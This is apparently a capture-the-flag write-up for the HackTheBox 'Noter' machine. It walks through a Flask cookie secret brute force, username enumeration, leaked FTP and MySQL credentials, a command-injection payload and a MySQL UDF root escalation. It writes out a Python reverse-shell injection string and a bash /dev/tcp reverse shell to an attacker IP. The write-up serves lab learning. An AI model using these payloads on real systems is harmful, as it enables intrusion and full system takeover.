> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/medium/noter.md).

# Noter

Gaining Access

As usual, we start with an Nmap scan:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f6aee25c206ae1ef63c144b397515ccdc5420641%2Fimage.png?alt=media)

Port 5000 was a HTTP port that was running some notetaking application.

### JWT Token Brute Force

The web application allowed us to register or login:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-7dad26e8150a5011754bfe906633af22a32cb0f5%2Fimage.png?alt=media)

I created a user and logged in. When I proxied the traffic through Burp, we can see that there is a JWT Session Cookie present:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-fd76072d72834aefb80d26cd164ad554c0b624eb%2Fimage.png?alt=media)

When decrypted, we can see that it contains some data:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b948d544110b8d0057c2904d2c1b4d3a3fa97d5a%2Fimage.png?alt=media)

Generally, from other machine experiences, Flask uses JWT cookies to differentiate sessions. So I tried to brute force the secret of this cookie with `flask-unsign` and `rockyou.txt`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-24f2f9ebe5ec564cf09c3eb9f354188664eea98e%2Fimage.png?alt=media)

With the secret found, we can create our own cookies and make whatever username we want. However, we still need to find a username that works.

### Username Enumeration

I noticed that the website has different responses when we key in an invalid username and a valid one,

I created the `test` user and tried a wrong password, and got the `Invalid Login` warning:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-55cf94dad6c0f32476bb61f6afe81937da00dca2%2Fimage.png?alt=media)

If we did this a user that does not exist, it would tell us `Invalid Credentials`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9fcdd4cd2ad4c943b841200ee95bed99cdb9dcf7%2Fimage.png?alt=media)

With this boolean condition, we can brute force all possible users within the machine. I used Burp Intruder to do so:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-fc278aed047f6988b5994193162142780b9dce88%2Fimage.png?alt=media)

Then I filtered the results using the `Invalid Login` string.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-2da0ec3d41853950d73d6a5e9e1f4ffefd8cb8c7%2Fimage.png?alt=media)

So `blue` is the user on this machine. We can use the secret we found earlier to create a new cokie and sign in by replacing the cookie:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-eae802035c946478a378282b410acbfa4eb5b36e%2Fimage.png?alt=media)

### FTP Credentials

With access to this new user, we can view more hidden notes:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-af7abb83c37f59cb401d427fe45b3ac2b652f643%2Fimage.png?alt=media)

The first one was the most interesting as it revealed some FTP Credentials:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e927ce50d7d28c8548832657f1353c0f531fe824%2Fimage.png?alt=media)

Logging into FTP, we can gain access to a password policy PDF.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-0edc8a4ae3ebc3ab7ff67cc31ebc76f2446d156a%2Fimage.png?alt=media)

Reading the Password Policy, we can see that the passwords are all templated:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-675714487eb870fef291f3ff0f6b8b26ae5382b7%2Fimage.png?alt=media)

With this hint, we can login as `ftp_admin` using `ftp_admin@Noter!`.

### Source Code Review

WIth access to the new FTP account, we can find two website source code backups made at different times:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-00e4bbe07f6f1f04abfdf8113be972099b03cffb%2Fimage.png?alt=media)

Additionally, because we are the `blue` user, we can view the VIP dashboard which allows us to **import and export notes**.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3fdec6abcb6ff05acb936d70a03b5cfd00b3e24d%2Fimage.png?alt=media)

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c48397806f658c0fc50c7fa54df601ea7200b1b3%2Fimage.png?alt=media)

When checking the Export Notes portion of code, we see that it **runs a command using a shell.**

```python
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            
        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)
```

In specific, it runs `md-to-pdf.js`, which might be an RCE vector here. So, we can create a malicious .md file that has commands within it to allow for code injection.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4304518ababd8a1f5d2f22841a7b8215a26be336%2Fimage.png?alt=media)

For this case, we would need to have something to escape the first quote and command, hence we start the payload with `';`. Afterwards, we need to inject some Python code since this is a Python based website. I used a basic Python3 reverse shell.

Then, we need to end it with `#'` to close the quote and end the command:

```
';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.12",21));
os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' # '
```

We can then upload this file and gain a reverse shell as the `svc` user on a listening port.

### SQL Creds

Additionally, when checking the two backups, I used `diff` to view the differences between each file. I found that some MySQL Credentials were removed from the more recent backup:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-41760a5a9457f4b1b279c08c5f24551914e44e53%2Fimage.png?alt=media)

## Privilege Escalation

With the MySQL Creds, we can login as root:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-1584ba801d093b70d59cb6354f7427e67923ba07%2Fimage.png?alt=media)

Because MySQL was running as root on the machine, we could do the `raptor_udf.so` exploit. This exploit basically uses a shared library that runs commands from the SQL plugins library. We can add a custom command that would allow us to gain RCE as the root user.

There are more detailed instructions here:

{% embed url="<https://www.exploit-db.com/raw/1518>" %}

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-10da6d03fb2b61d0f5ef721c074b7776d0bbe24b%2Fimage.png?alt=media)

Afterwards, we can just use the `do_system('bash -c "bash -i >& /dev/tcp/10.10.16.12/21 0>&1"');` function we defined to gain a reverse shell on the machine.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-75b14df56f00bc699a835c7bd5c4cc5c248e61bd%2Fimage.png?alt=media)
